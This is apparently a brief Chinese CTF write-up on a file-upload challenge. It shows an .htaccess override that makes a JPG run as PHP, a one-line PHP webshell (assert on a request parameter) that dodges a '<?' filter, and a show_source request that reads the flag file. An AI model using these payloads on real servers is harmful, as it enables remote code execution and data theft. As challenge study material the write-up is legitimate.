看名字就知道考的是文件上传。用到了老生常谈的姿势 .htaccess 配置 文件。怕自己忘记了就再记录一下。

抓包,别忘记修改Content-Type:

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

再继续上传1.jpg。因为过滤了“<?”,所以不能上传普通的一句话。

Content-Disposition: form-data; name="uploaded"; filename="1.jpg"
Content-Type: image/jpeg

<script language='php'>assert($_REQUEST['root'])</script>

可以这么访问:

过滤了很多函数,虽然不能执行sytem,但是可以执行show_source。

root=show_source("/flag")